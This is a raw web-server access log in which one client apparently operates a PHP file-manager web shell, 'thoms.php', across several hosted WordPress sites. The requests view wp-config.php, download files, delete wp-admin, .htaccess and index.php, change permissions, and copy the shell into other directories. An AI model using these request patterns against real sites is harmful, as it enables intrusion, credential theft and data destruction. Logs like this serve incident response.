45.135.193.11 - - [11/Sep/2026:22:37:34 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:34 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bft.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:35 -0400] "GET /thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:35 -0400] "GET /thoms.php?copy=betcity.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:35 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11413 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:36 -0400] "GET /thoms.php?copy=betcity.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11386 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:37 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17166 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:37 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:38 -0400] "GET /thoms.php?copy=betcity.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:38 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:39 -0400] "GET /thoms.php?copy=betcity.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:39 -0400] "GET /thoms.php?copy=betcity.com.tw&p=upgrade HTTP/1.1" 200 11317 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:40 -0400] "GET /thoms.php?copy=betcity.com.tw&p=cgi-bin HTTP/1.1" 200 11320 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:41 -0400] "GET /thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:42 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bfl.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:41 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:42 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:42 -0400] "GET /thoms.php?copy=betcity.com.tw&p=betcity.com.tw HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17334 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:43 -0400] "GET /thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11424 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:43 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bossini.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:43 -0400] "GET /thoms.php?copy=betcity.com.tw&p=wp-content HTTP/1.1" 200 11339 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:44 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11415 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=error_log HTTP/1.1" 200 13931 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:45 -0400] "GET /thoms.php?chmod=wp-config.php&p=biotaiwan.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:45 -0400] "GET /thoms.php?del=error_log&p=biotaiwan.com.tw HTTP/1.1" 200 17524 "http://163.245.207.76:443/thoms.php?del=error_log&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:46 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-settings.php HTTP/1.1" 200 19469 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:47 -0400] "GET /thoms.php?chmod=wp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11728 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:48 -0400] "GET /thoms.php?chmod=error_log&p=biotaiwan.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:48 -0400] "GET /biotaiwan.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:48 -0400] "GET /thoms.php?chmod=wp-cron.php&p=biotaiwan.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:48 -0400] "GET /biotaiwan.com.tw/filefuns.php HTTP/1.1" 200 28 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:48 -0400] "GET /biotaiwan.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-trackback.php HTTP/1.1" 200 14102 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:49 -0400] "GET /biotaiwan.com.tw/upgrade/ HTTP/1.1" 200 6826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-signup.php HTTP/1.1" 200 22510 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:49 -0400] "GET /thoms.php?del=wp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 17420 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:49 -0400] "GET /thoms.php?del=.htaccess&p=biotaiwan.com.tw HTTP/1.1" 200 17512 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:49 -0400] "GET /thoms.php?chmod=filefuns.php&p=biotaiwan.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=filefuns.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:49 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:50 -0400] "GET /thoms.php?chmod=wp-activate.php&p=biotaiwan.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:50 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=biotaiwan.com.tw HTTP/1.1" 200 17510 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:50 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-config.php HTTP/1.1" 200 13718 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?chmod=wp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 200 28784 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13033 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?dl=error_log&p=biotaiwan.com.tw HTTP/1.1" 200 17511 "http://163.245.207.76:443/thoms.php?dl=error_log&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?chmod=index.php&p=biotaiwan.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?del=filefuns.php&p=biotaiwan.com.tw HTTP/1.1" 200 17509 "http://163.245.207.76:443/thoms.php?del=filefuns.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=biotaiwan.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 200 12596 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /thoms.php?dl=wp-login.php&p=biotaiwan.com.tw HTTP/1.1" 200 17510 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /biotaiwan.com.tw/widget-transformer/ HTTP/1.1" 200 6361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:51 -0400] "GET /biotaiwan.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?del=cgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 17512 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 17324 "https://163.245.207.76/biotaiwan.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?dl=readme.html&p=biotaiwan.com.tw HTTP/1.1" 200 17510 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /biotaiwan.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?del=wp-content&p=biotaiwan.com.tw HTTP/1.1" 200 17512 "http://163.245.207.76:443/thoms.php?del=wp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?del=index.php&p=biotaiwan.com.tw HTTP/1.1" 200 17511 "http://163.245.207.76:443/thoms.php?del=index.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=license.txt HTTP/1.1" 200 20079 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?dl=mah.php&p=biotaiwan.com.tw HTTP/1.1" 200 17510 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?dl=wp-activate.php&p=biotaiwan.com.tw HTTP/1.1" 200 17511 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?chmod=.htaccess&p=biotaiwan.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?dl=index.php&p=biotaiwan.com.tw HTTP/1.1" 200 17511 "http://163.245.207.76:443/thoms.php?dl=index.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?chmod=readme.html&p=biotaiwan.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-load.php HTTP/1.1" 200 13656 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
